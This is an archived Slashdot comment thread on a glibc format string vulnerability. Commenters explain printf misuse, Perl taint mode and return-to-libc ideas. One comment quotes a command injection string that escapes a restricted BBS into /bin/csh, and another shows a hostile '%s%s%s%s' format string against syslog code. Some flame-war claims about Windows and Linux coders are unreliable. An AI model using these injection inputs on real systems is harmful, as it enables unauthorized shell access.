What's really needed is a run-time library to validate a format string against the set of arguments you want to send along with it.

IMHO, YMMV, etc...

Re:Thankfully my W2K box is safe from this...

[Dave Walker]

Unless EVERY program on your W2K box is written in Visual Basic (and I have doubts about it as well), you're just as open to an sprintf vulnerability as any *nix box.

Heh, heh, heh...

no security is a stoopid thing

[Supatroopa]

Security is something you need to do like brushing your teeth.
You can definitely skip that activity but eventually your teeth fallout (think of "cookie" the penultimate cook in western movies).
It is all about upkeep. Don't care about it? Then let it all go to hell.
Let your mail server host SPAM redirects, Let your Intellectual Property be compromised. Allow your resources to be wasted or abused by others.
Really, let the "premier Desktop OS" be so open to vulnerabilities that you can't use it without letting everyone on your subnet knowing what files you are sharing becuase you are too ignorant to worry about such things.(M$!)
I really can't talk to this level--there is only security if you think what you have is worth keeping yours. You lock your car. You lock your door at night. You try to take care of what you want to keep no?
I guess not.

Re:Offtopic?

[.sig]

It probably got moved to one of the different sections. A lot of stories wind up there and not on the front page, maybe they're supposed to show up on the front page for a little bit before getting sent there.
As for it being offtopic, where else would you put up a post if you can't find the article? :-) I doub't they'd submit a story for it under "Ask Slashdot", and we all know how long it takes to get a reply to a non-life-threatening email, considering the volume that the "guys in charge" probably get...

Re:Hmmm...

[RickHunter]

Ah. If that's the way it works, then no, it isn't very different from a buffer overflow. But from what I understand about the way GCC works, it would do the same stuff as gas, wouldn't it....? Yes, someone who knows more would be VERY helpful here... I'm going to do a search on bugtraq, see what I can come up with.

-RickHunter

Re:Taint mode solves this problem

[docwhat]

Taint might help, but would your average perl programmer be smart enought to look for formatting strings in a catalog pointed to by an environmental variable?

I haven't done any localization in perl, so I'm not sure how it's done, but still....

Maybe the programmer wouldn't know what the localization stuff is and not untaint it....

Ciao!

Re:as if, you're stupid segmond

[segmond]

had an annoying magpie bbs with restricted access running on top of a unix shell. by getting into one of the help menu, it asks you for help section you want to view. "section ; (export TERM=vt100 ; /bin/csh)" pretty trival, this is not even worthy to be called a bug, it is just plain stupidty to trust user input in commands.

Re:/. == C|Net + NYTimes + CNN + ....

[drivers]

Because at C|Net, NYTimes, and CNN, you can't posts comments... well, like the one I am replying to. Slashdot is a discussion site, not necessarily a news site.

Re:Unix specific? Yes and no.

[dogzilla]

> (note that I don't agree with their decision and would
> never deploy the non-Unix Mac OS for any production
> network server - also note that their assumption isn't
> even correct, because AppleScript is quite comparable
> to the Bourne shell and *can* be remotely invoked in
> some cases).

This post was written by a hack with just enough understanding of the MacOS and AppleScript to screw it up.

While it is theoretically possible to enable remote access of AppleScript, this is not a trivial thing to do (ie: your average Mac user will have trouble enabling this feature) and it is *not* (repeat NOT) on by default. Additionally, saying that AppleScript is comparable to the Bourne shell is a crock of shit. For better or worse, the Bourne shell has far more power than AppleScript does. AppleScript is more along the lines of TCL than a shell.

However, I definitely agree with his assertion that it is silly to run a production server on the MacOS. I run servers on MacOS (backwards compatibility), WinNT (ditto), Linux (non-critical service), and FreeBSD (mission-critical production server). The *nix servers are more reliable by far.

Re:I didn't understand that.

[Jason Earl]

What are those funny lines supposed to mean? Is it some sort of code that people in this site use? I'm sorry if I don't know the conventions you people use to communicate. I'm new to this site, and I'm not very technical oriented. All I want is to learn from you.

The "funny lines" are snippets of code in the C language. Many (perhaps even most) of us here on this site read at least a little bit of C, but if you don't, that's just fine. The poster was simply pointing out the correct way to use the printf() function.

/. is a great site, but it's not really a tutorial. I would suggest taking a look at Eric Raymond's Hacker Howto. Install Linux on a machine (it's not that hard) and get a good book on Python. Join a Linux Users Group, or just hang out on some of the excellent Linux mailing lists or IRC sites.

Good Luck

mud raking?

[fredness]

*nix have been out so long that it is hard to believe that this hasn't been dealt with already

FUD or threat?

[gone.fishing]

I don't know if this is a real, serious threat or FUD, I am not that deep into it and frankly am unqualified to make that decision.

It kind of reads like a M$ "FUD" story but the culture has always held that any vunerability is a serious threat. I spoze it could be a combo.

What I did notice was that it did not single out a single OS but rather a number of *nix's. That makes sense, the vunerability isn't deep down inside of the kernel but rather it is in programs that the different flavors can all use.

Someone also said that a similar vunerability may exist somewhere in Windows. We will probably never know because the source isn't available to study. Of course some hacker may stumble across it some day, then we will know.

There will always be chinks in the armor and someone will always be looking for ways in and their counter-part will be busy patching them. That kinda seems to be the nature of the beast.

This constant testing and fixing seems to result in more robust systems (no matter what kind) so perhaps, even though it is a hassle and a pain, it is good.

Hmmm...

[Jeld]

I follow bugtraq pretty close and I have never heard of a particular "format string" security vulnerability. Especially in many different unixes. There were quite a few different bugs exploited by sending a particularly formatted string to a certain program. The wording of the article tells me that the guywho wrote it doesn't have a slightest clue what he is talking about, but wants to scre everyone in sight to death. Looks very much like a fake or a misunderstanding so complete that mind starts spinning trying to grasp the depth of it.

Re:Hmmm...

[CmdrPinkTaco]

you might want to go see a doctor before you infect us all with your nasty cough. That is 2 posts that you have put here that indicate you have a cold...and it appears to be getting worse, your second post has much more coughing in it.

before you mod this down, just laugh...its funny.
--------------------------------------------

Re:Hmmm...

[JakusMinimus]

*cough*didnt-read-the-article*cough*made-what-i-th ought-was-an-intelligent-educated-guess* cough*so*cough*sue-me*cough*

=)

--

Re:Hmmm...

[mangino]

Nope, not exactly a buffer overflow. It is a form of stack smashing attack. essentially you use a format string with a whole bunch of %x or % whatevers. As printf goes through, it reads the value of these like a vararg function, it starts with the address in the frame that would normally hold the second parameter (Which wasn't passwed) and continues to read and attemp to format memory. Since parameters weren't passed, the memory it is dealing with is the actual text of the executable. After a while, Boom, you get a coredump in the setuid executable. End game. Take a look at lwn.net for a really good explanation.
--
Mike Mangino
Sr. Software Engineer, SubmitOrder.com

Re:Hmmm...

[RickHunter]

Someone linked to a Bugtraq article that provided a VERY good explanation. At least, good if you can read simple C code involving printf(). Basically, what happens is that someone calls printf(user_input_string) instead of printf("%s", user_input_string), or whatever the string format specifier is. So its only a danger if your output function uses format specifiers and doesn't do error checking.

The CNet article really is very poor. The author makes it sound like an end-of-the-world bug in the Unix kernel-level display routines.

-RickHunter

Re:Hmmm...

[JakusMinimus]

uhmm...

*cough*buffer-overrun*cough*

--

Re:Hmmm...

[Andreas Bombe]

I assume this vulnerability comes from the program being allowed to execute instructions in the data area, just as the buffer overflow problems arise from storing the stack in executable pages.

Data area is executable. Think just-in-time compilers and trampoline code (the latter is often put on stack, at least gcc does for its extension of local functions). Even if you wanted to make them non-exec (would for a week at most, then exploits will have adapted), there are hardware limitations in that. Stupid x86 MMU (and some other architectures) can not distinguish between readable and executable, it is either nothing or both. The non-exec stack on x86 can only be done through segment hackery, and I don't think you can extend it to non-exec data.

Just think: the stack can always be written and includes return pointers and function args. If neither data nor stack were executable, you can still smash a return to execve() and a parameter "/bin/sh" (or any other function or args) on the stack. Once you have a root shell, who cares about some toys like non-exec stack and data?

I know that gas (GNU assembler) stores constant data together with the program code. Guess that makes it difficult to separate them when they are loaded into memory ...

Of course it does (and therefore gcc, too). If they were stored in the data section they wouldn't be constant. Program code & constant data (const vars, literal strings) go into text, initalized data into data and unitialized data into bss. That's where they belong.

Re:Hmmm...

[bad-badtz-maru]

If you follow Bugtraq closely you would have to have skipped a lot of the messages that have appeared there in the last two months to have not seen at least 75 messages discussing format string vulnerabilities in some form. The little letters in the messages are there to read.

Maru

Re: Better to `fix' gettext?

[Rozzin]

The new string it retrieves from the database should contain the same specifiers in the same order, or gettext should return the original string. Isn't this better than modifying the tons of source code that use the localization info?

In a word, `no'.
That the translated version of a string is going to contain the same number of any character is a bad assumption.
That the string returned by gettext is always going to be passed to *printf is also a bad assumption (the *puts functions still exist, you know...).

It'd probably be better to modify the operation of *printf, so that excess format-characters are not evaluated (ie: the second "%d" in `printf("%d%d", 2)'), but that's probably not going to happen;)

Re:Computer security is a myth

[Halloween Jack]

Sure, if you want to break into system X, given enough time and effort, you'll be able to. But if system X is even reasonably secured, the attacker would more likely look for a system that's easier to crack.

Right--it's like the old joke about the two guys who get attacked by the bear. One guy starts running and the other yells, "You'll never outrun the bear!" The other guy yells back, "I don't need to--I just need to outrun you!"

The point, of course, is knowing when enough is enough. Trying to make a computer absolutely secure is like trying to make a bicycle theft-proof. Bike thieves have been able to break most locks, even Kryptonite locks, for years. There's a "New York" line of allegedly unbreakable locks, but they're expensive and heavy. Of course, someone can always "bikejack" you, especially on isolated paths or trails. You could carry a gun, they could set up a sniper post, you could armor-plate your bike... eventually you've got a 300-pound bike that needs a power-assist, and then you've got what's essentially a two-wheeled car, which kind of defeats the whole purpose of cycling instead of driving a cage. The real-world solution is to secure your bike in a manner that makes your bike one of the faster antelopes in the herd being pursued by lions, if you catch my drift.

Of course, that would deprive sysadmins of the sublime pleasures of pouring boiling oil on the heads of the invaders. Maybe no one wants to admit it, but catching script kiddies in the act is part of the fun.

Another breach. Cause? Lazy Linux coders.

[AFCArchvile]

As stated in an earlier post, "Always printf("%s", string) instead of printf(string)." And guess who violated this? The lazy Linux coders, deciding to save time by omitting "%s". Now that's just plain wrong. All of the coders in Microsoft, as well as the developers who code for Windows, almost never forget this, and almost always put in the "%s" into the string.

This lazy attitude in the Linux community is nothing new. Just look at any beta Linux tarballs, 33% of them are just makefiles with C source files. Basically, that screams out, "I was too lazy to compile this for ya. Wanna save me a step or two so I can go get another double decaf mocha latté?" Slashdot itself is another blaring example, with its bandwidth and servers still at basically the same hardware generation and class for the last year, at least. Sure, they probably updated the kernels when a more stable one came out, but that's it, just software tweaking. As the age-old IT business axiom goes (edited to reflect the times), "What [we're too lazy to] do in hardware, we'll do in software.

I'll be learning C++ pretty soon at college anyway, so thanks to all the CORRECT programmers out there giving the correct string method; already, I'm three steps ahead of the bible-thumping Linux coders. Now to build the uber-soundcard, hmmm, that's another story...

Format strings

[Anonymous Coward]

strcpy(buf, "first post"); printf("%s\n", buf);

Taint mode solves this problem

[vectro]

Perl's 'taint mode' solves this problem very well. Basically all user input (enviornment, standard input, reading from files and network sockets, etc.) is considered 'tainted', and can't be used in an insecure manner (running commands, etc.) without a regular subexpression match.

Basically, what this means is that perl forces you to check that the input you were given is secure. This makes perl more secure than C in many ways.

For more information on taint mode and other security features in perl, see the perlsec manpage.

Re:Taint mode solves this problem

[Tower]

Sure, and since everything eventually reduces down to assembly (for the purposes of this discussion), everything is buggy. That explains Windows.

So - all microcode (instruction decoding kind) must also be buggy, so there has never been a good chip (I suppose that a 74LS000 might be ok, or even a bitslice ALU)...

--

Re:Taint mode solves this problem

[dial0g]

It's not the job of a C compiler to be secure, thats the job of the programmer. Granted with scripting languages such as Perl security may be useful, but in a language such as C, it would do nothing but get in the way.

Re:Taint mode solves this problem

[drivers]

Taint mode has nothing to do with this. This is a buffer overflow problem caused by the user providing locale strings.

Perl does not have this problem, because perl doesn't let you write past the end of a string onto other variables, the stack, other code, etc...

C, using arrays, and having standard C functions which do stupid things (strcpy), is the problem. Although perl itself is written in C... does it use locales in a stupid way too? We'll have to see now, eh?

Re:Taint mode solves this problem

[Another MacHack]

A language in which the execution of legal code can result in the corruption of the runtime environment is buggy, period.

Re:Taint mode solves this problem

[greenrd]

So - reductio ad absurdum - x86 assembly language (or machine code) is "buggy"? I don't think so.

Re:Taint mode solves this problem

[ichimunki]

Yes. Taint is great, if not a complete pain to work under *grin*. But how many run-of-the-mill "Learn Perl-CGI by Putting This Book Under Your Pillow" books cover security and detainting form input with reg exps before going any farther than "Hello World"? For that matter, how many Linux for Dimwits books take the time to explain right away that you may want to turn off a bunch of services and set up some firewall rules if you don't intend to offer your test apache install to the world at large? This particular exploit isn't listed at CERT yet and the article doesn't say anything about specific examples. However, Red Hat has this and updated RPMs and source for glibc.

Re:Taint mode solves this problem

[Plasmic]

If you don't "untaint" it, then the program won't run. That's the beauty of tainted mode: you get an error telling you what variables might still be tainted if you haven't run them through a regexp of some sort. That's why it's perfect for people who don't have as much of a clue as they should have. (Note: this explanation of taint-checking is not comprehensive).

By the way, just pass -T to the Perl interpreter(e.g. "perl -T blah.pl") to enable tainting checks, or add -T to the header (e.g. "#!/usr/bin/perl -T"). Also, check out "perldoc perlsec" for a much more detailed explanation of everything Perl does to address the issues described in the article, including taint checks.

Re:Taint mode solves this problem

[barleyguy]

Perl is written is C, and I've heard of vulnerabilities in Perl scripts that can be manipulated by passing termination characters "\0" in forms on the web. However, any fairly competent web programmer will strip input down to allowable characters, and use taint checking. This prevents Perl from corrupting either C (termination) or the command shell (this can be done with pipe characters and > signs in the input of certain Perl scripts.)

I haven't tested to see if locale strings cause any problems with Perl. Since the Perl interpreter is just a fancy C program, it's possible it has the same vulnerabilities.

Re:Taint mode solves this problem

[thrig]

Environment variables are definitly tainted to scripts; if you have a CGI that attempts to write to a filename whose location is based on DOCUMENT_ROOT, taint mode will stop the script.

Re:Taint mode solves this problem

[Another MacHack]

Not at all--the runtime environment for x86 assembly specifies a set of machine registers and access to an address space or two, along with various other logical and arithmetic operations. If there's a way to burn out the AX register, there's a bug in x86 assembly language. C purports to be high-level, and specifies additional semantics on top of the machine as compared to the register level, but there are rather trivial ways to smash the stack, etc, even though the language depends on these constructs to be valid in order to function as specified.

Handy Solaris Code

[mholve]

Try this code for Solaris...

/. == C|Net + NYTimes + CNN + ....

[xyzzy]

Over the past few days, most of the headlines appearing on /. have just been reposts of headlines from other web news sites, many of which have their own discussion forums. Just today, I counted 2 CNet, 2 NYtimes, and a bunch of warmed-over postings.

Personally, I already read all these sites. Why all the rehash? There's enough going on in the high-tech world without simply cloning content from one site to the next. If I want to jump off to some other portal/news site, I'll either bookmark it or use the slashboxes on the main page!

Re:/. == C|Net + NYTimes + CNN + ....

[GrenDel Fuego]

I'm guessing you're a new reader to slashdot?

There are some original content peices, but most of the articles are links to other sources. Sometimes websites that belong to people, but quite often it's new sites.

Re:/. == C|Net + NYTimes + CNN + ....

[_xeno_]

Why all the rehash?

Because then all the /.ers can bitch about it. You can't really discuss a CNet article with about 1000 posting slashdot readers unless it's on Slashdot - it would be "offtopic" otherwise.

If you view Slashdot as a discussion forum, it's to give topics for discussion. If you view it as a money-making buisness, it's to generate more pageviews. Whatever you consider it, it's just something that the editor (be it CmdrTaco or timothy or whoever) believes are important to most of Slashdot's readers.

Besides, it's kind of nice reading them on Slashdot - by reading the comments you can get a nice view of the differing opinions on the subject, and can often come to a better conclusion by reading other viewpoints that the posters provide.

Re:Intersteing quote

[kkenn]

The BSD-derived FTP server had a problem of this class which was discovered and fixed a few months ago. However FreeBSD fixed it in our version back in 1996, so we were exempt from the ensuing security brouhaha :-)

Kris Kennaway
FreeBSD Security Officer team

Re:Offtopic?

[the Man in Black]

I thought it was just me that happened to! I had to (B)ack up in my browser to find it again...hmmm..Slashcode bug?

no shit.

[garcia]

really? that is just another reason that the Windows platform is so safe ;)

Re:Evils of Linux

[Flower]

Screw it. I'd rather retort than waste my moderator points on stuff like this.

The fact is, without seeing the code or any open discussion on development the opinion that MS writes good/proper code because they pay people for it can only be based on a great deal of trust. I simply do not feel comfortable placing the same amount of trust you so obviously devote to a company that has a just as bad if not worse record of issues with their software as linux/GNOME/KDE/ what-have-you has.

The fact that linux is bad due to it being free is a fallacy. You neglect the fact that people do get paid to work on it. Alan Cox for one. You also neglect the linux companies which pay programmers to work on free/oss projects. Linux/Gnome/etc do not only benefit from a purely volunteer effort. And your assumption that people who do not get paid for working on it have little time produce slapdash code is an assumption which you have provided little evidence to support.

Oh, btw, there is no kernel higher than 2.4 atm. There is no 2.4 kernel out yet. Those are test kernels which will lead up to 2.4. I guess the -test and -pre suffixes must have confused you.

As for your assertion that the developers only try to produce something that works instead of works well I can only say that you are talking out of ignorance. Try reading Kernel Traffic every now and then.

From where I sit, free and oss is doing fine. I have a great deal more confidence in a product where I can see the code and monitor its development. I am not even a programmer but can testify to the benefits from this model from personal experience. Merely reading the comments in ghostscript gave me a much better perspective on why my deskjet 970Cse printed better in Windows than under linux. Hint: It has nothing to do with some programmer getting paid.

Unless you can provide something better than blind belief in capitalism your comments are fundamentally flawed.

Re:Evils of Linux

[AFCArchvile]

Okay, let me repudiate your statement.

Windows Good.

This premise is based on the fact that the Microsoft coders are paid good money to play by the rules and code efficiently and securely, whatever the cost in time and headaches. Hence, the higher overall quality of Windows programs coded in C/C++.

Linux Bad.

Okay this premise IS due to the fact that Linux is free. Because of this, the Linux coders have little time to code, and so they do a slapdash job and label it "Beta 1." All they really want is for their creation to work, not necessarily to work well. Hell, they don't care if the program doesn't even do what it was designed for, they only go back to the drawing board if it crashes (Case in point: GNOME and the Linux kernels above 2.4.XX).

Well if that is true, what about web browsers. How much did you pay for IE or Netscape? I'm guessing not much, if you paid for it at all.

Well, that's where you cross the line between a sharp point and a warped point. IE gets funding from Microsoft's main coffer, so the same coding practices (sometimes even the same CODERS) get put into making IE. As for Netscape, they get a buttload of cash from advertising. However, they're more infatuated with Java, hence the reason for Netscape's lag of 25000 milliseconds when accessing a webpage, even on OC3.

Finally, what about other platforms? Just because they are not Microsoft, they should be ignored?

The same rules apply here; the more funding, the better the chance of stability/function relevance.

Re:Computer security is a myth

[medcalf]

Imagine what we could achieve if we stopped pursuing the unattainable goal of security and used our funds to develop better user interfaces, quicker file systems, or more advanced multimedia technology.

I suspect that what would happen is that our systems would quickly become unusable as script kiddies hacked them. Some would come just to run up their seti@home scores, some to put up hotline or gnutella servers, and some just to erase your hard drive because they could. All of this has been done or attempted on my servers and those of my friends. All of it would be much easier for the kiddies if we didn't keep finding and closing holes.

I came onto the internet in 1988 (yes, '88 - not 1998), and at the time pretty much everything was open source routing, and there weren't firewalls on non-military sites, and the level of system cracking that occurred was not only low, but was usually done by people in a benign fashion. (I used to break into the college UNIX system and then mail the exploit as root to the admins, until they hired me to stop other people from doing the same thing.) I wish that we could go back to open source routing, which would eliminate the Internet's current huge vulnerability to outages. We can't, because then people would underbuy bandwidth knowing that they could mooch off of other people. I wish that we could get rid of proxies and firewalls. We can't, because then our systems would start being toppled one by one.

The investment in security of systems is no greater than, and no less important then, the investment in security of workplaces in general. At least in large companies, that investment is large in both areas.

Re:Not OpenBSD!

[kkenn]

Yes, both FreeBSD and OpenBSD did a pro-active sweep several months ago to identify and fix any of these problems. We didn't find any security problems, but there were a few non-exploitable bugs in unprivileged apps which were caught (fixed prior to 4.1-RELEASE).

Of course, if you run third party software which we haven't yet audited then you might be vulnerable, but thats always the risk you take. FreeBSD is slowly working through the ports collection to try and audit this code.

With almost 3800 ports it's a large task, but it's bearing a lot of fruit - in fact we're discovering security problems in third party code at a faster rate than I have time to keep up with and write ports advisories for. Ultimately everyone who uses UNIX software will benefit from this work.

Kris Kennaway
FreeBSD Security Officer team

Re:Evils of Linux

[Uselessness]

What in the fuck are you talking about?

Stop. Just STOP.

[[[ As for Netscape, they get a buttload of cash from advertising. However, they're more infatuated with Java, hence the reason for Netscape's lag of 25000 milliseconds when accessing a webpage, even on OC3. ]]]

Unix specific? Yes and no.

[Forgotten]

First off, the CNet story is a crock written by a hack with just enough understanding of the subject to screw it up. Par for the CNet course.

There is a valid point made by the people suggesting that this problem is endemic to any software linked to the standard C library, or more specifically to software that abuses the printf() family of functions. This obviously isn't Unix-specific - the locale mechanism just happens to be the exploit that was described.

However, there *is* a gem of truth to the Unix vulnerability idea, and it's rooted in the power of the shell as well as the existence of (and overeliance on) the system(2) call. This is why the US Army moved their web servers from NT to (gasp) the "classic" Mac OS - not just because it offers no network services by default (this can trivially be accomplished on any OS), but because it doesn't have a command-line shell that's easy to exploit (note that I don't agree with their decision and would never deploy the non-Unix Mac OS for any production network server - also note that their assumption isn't even correct, because AppleScript is quite comparable to the Bourne shell and *can* be remotely invoked in some cases).

Part of the problem here is that we have come to rely on models for Unix network software that either need to put strings through the shell (and thus have to deal with baroque quoting issues) or can be tricked into doing so. CGIs are an example of this - it's now obvious that the CGI wasn't a particularly good choice for scalability *or* security. These issues do need to be addressed, so perhaps we can get a modicum of real use out of this latest CNet drivel.

Re:Can somebody explain?

[Anonymous Coward]

Thank your for taking the time to explain these things to me. I'm awara that such a long reply must have taken you effort to write. I have to supervise and make decisions on things which involve computers, so that's why I inquire into this, so as to be able to make good decisions.

However, I'm afraid it all went over my head. I'm not a technical person, and though I make an effort to try to understand new things as best as I can, I really can't understand in this case. This is why I asked to be explained to "like a 6 year old".

I'm afraid I would be abusing your generosity if I asked you again to explain it to me in simpler terms, so don't worry about it. Thanks anayway.

Format Strings 101 (fixed)

[lamontg]

(Sorry for the duplicate, hit the fscking submit button when I meant to hit preview...)

The problem comes about when you accept user input and then send it to vsprintf(), setproctitle(), syslog() or similar C programs that accept format strings. The seemingly innocuous code usually looks something like this:

char buffer[1024];
[...]
sprintf(buffer, "some message: %s", hostile_user_input);
syslog(LOG_DEBUG, buffer);

Now an attacker can shove a string into the hostile_user_input variable like "%s%s%s%s" which will then be passed to syslog which whill execute:

syslog(LOG_DEBUG, "some message: %s%s%s%s");

Notice that this isn't a "valid" format string. It tends to do odd things since it goes looking for function arguments that aren't actually there. Clever construction of the hostile format string will lead to an exploit. This was used in the wu-ftpd remote setproctitle() exploit and the recent linux rpc.statd syslog() remote exploit.

All OSen which have code compiled from C and which use the vsprintf(), syslog(), setproctitle(), etc functions are potentially vulnerable to these attacks. There are undoubtably these kinds of vulnerabilities lurking within W2K somewhere...

Re:Intersteing quote

[ryanr]

They're not vulnerable to the specific glibc formatting bug problem. I don't know why the article didn't just come out and say glibc. Doesn't mean anything to the general public, I suppose. Even OpenBSD has had one or two formatting bug errors, They're just not reachable in the default configuration.

Re:Computer security is a myth

[Captain Derivative]

You don't have to make a computer (or anything) entirely crack-proof. Like you said, that's impossible.

But you can throw up enough security and defenses to make it not worth the attacker's time, or at least to encourage him to look for someone who hasn't bothered to lock down properly.

Sure, if you want to break into system X, given enough time and effort, you'll be able to. But if system X is even reasonably secured, the attacker would more likely look for a system that's easier to crack.

So, in short, just because it's impossible to so something perfectly doesn't mean we should go home and not try to do it well.

--

Not new, but more of a problem

[man_of_mr_e]

Something important to realize here is that Unix/Linux has MORE of a problem with this than other OS's (such as NT or Mac) for one reason. Unix/Linux uses "string catalogs" for use with internationalization. It's often pretty easy to get an app to use your own custom catalog (just alter your config file), which contains strings that can exploit the problem.

Windows and Mac typically use resources embedded into the application for their internationalization, which can't be altered if you have your security settings set correctly.

This is a serious fundamental flaw in the internationalization of most apps. Don't take it too lightly, or assume that other OS's have the problem to the same degree.

Re:Not new, but more of a problem

[Erich]

It's often pretty easy to get an app to use your own custom catalog (just alter your config file), which contains strings that can exploit the problem.

Right, but even if you get an application to read your own catalog, it's still running as your userid. So it can only do as much damage as you could do normally.

Sure, you can change root-level programs to read from arbitrary files, but if you can change root-owned files then you can do anything you want in the system without having to make programs that do wierd things with buffer overflows and such.

Boooring

[Plasmic]

"Actually, no it doesn't ... I have a suspicion ... if I'm not mistaken ... I'm not sure ... I bet..."

If you're not sure, then your entire post is worthless. I'd be very interested to know whether you're right about environment variables. Once you figure out whether or not you have a clue, let us know. Until then, this doesn't shed a single ray of light on the issue.

Script Kiddies have known this for years

[spazimodo]

y 3l53 d0 j00 th1nk th3y r1t3 lyk3 th1s?



-Spazimodo

Fsck the millennium, we want it now.

haiku

[rkanodia]

they don't know meaning
but script kiddies do rejoice
more cracked boxes

Further information on this topic may be found here.

This is old...

[HydroCarbon10]

If I'm reading this correctly, what they're talking about is the old "^H" and other such strings that people use to use to hide log entries with, etc... Yeah, this arce guy can read old archives and post stuff about them. btw, what's up with people saying, "this vulnerability affects unix". Why don't people NAME the unix that it affects, or are they just too stupid to know that there's a difference.

Re:HTML tag hater?

[AFCArchvile]

Would you mind using the BLOCKQUOTE function in your reply next time? It's there for a reason, and I used it in my reply. I'm not so hard-headed then, am I?

Propaganda much?

[the Man in Black]

The more I listen to various 'tech news leaders', the more I start to see a pattern. Whereas Microsoft's bugs are either not publicized, ignored, or explained away (the ILOVEYOU virus comes to mind...how come no one mentioned that it was an M$ OUTLOOK/Outlook Express/Exchange VULNERABILITY that allowed the virus to propagate?), the various *nix's "bugs" are put under a Microsof^H^Hcope. It sounds like a case of "Don't mind us...look over there!" to me. This is such a basic principle of OS design...ALL OS design...that it doesn't even deserve to be mentioned. Makes me wonder why it WAS brought up.

This is a really old trick

[meloneg]

This used to be a pretty common type of attack on the old FidoNET systems. Almost everyone was using MS-DOS (or some version thereof) with ANSI.SYS.

The ANSI.SYS driver allowed the F-keys to be reprogrammed via ESC sequences. The common technique was to reprogram F1 or F3 (used in the simplisitc command history function) to do something nasty.

This sounds like the same basic thing.

Just be carefull when you *printf()

[acumen]

Every OS that has implementation of *printf() is vulnerable at that point, and that's almost every OS.

Problems with *printf() only occur when the programmer is not careful. Anyone who worries about his code can use stuff like PScan to automatically find any format mismatch. Even gcc itself is smart enough to warn about these kind of errors.

Re:See what I mean...

[AFCArchvile]

Go to the Netscape homepage; I can't go, don't want anything Netscape tainting my machine. Count up how many banner ads there are on the main page and all the headline pages. Each ad is worth a cool half-million dollars for Netscape's team of coders. The little window that pops up is worth $3 million to them.

Timeline

[craw]

I been looking at this for about a week. My information is not complete, so bear with me. I first downloaded and installed the patch for glibc from RH on Sept 4; the alert was 1st posted on Sept 1. The glibc version was 2.1.3-19. RH just released another updated version on Sept 7; glibc-2.1.3-21.

Securityfocus.com 1st posted an alert on Sept. 4, which was updated on the 7th. I'm not sure when it was 1st posted, but some exploit code (I believe it needs to be modified) is now available. The date in the code is y2k/9/6.

So, who will win the battle against time? The sysadmins who need to be in the loop with respect to notifications/patches for exploits or the script kiddies who live for these types of exploits?

Note: it may be too late if you wait for CERT to issue an alert as these won't arrive for a while.

Re:Intersteing quote

[GrenDel Fuego]

Yes.

Why aren't OpenBSD and FreeBSD affected? The article didn't.

Someone earlier mentioned that the BSD ftp server was vunerable to this (when anonymous was enabled). Wouldn't this mean they would be affected? or is it only when the ftp server runs under one of the affected os's?

Errata

[mlefranc]

If I'm not mistaken, at least most Linux distributions have issued security fixes by now... After all, this might be a good example (another) of why the open source model is one of the most secure.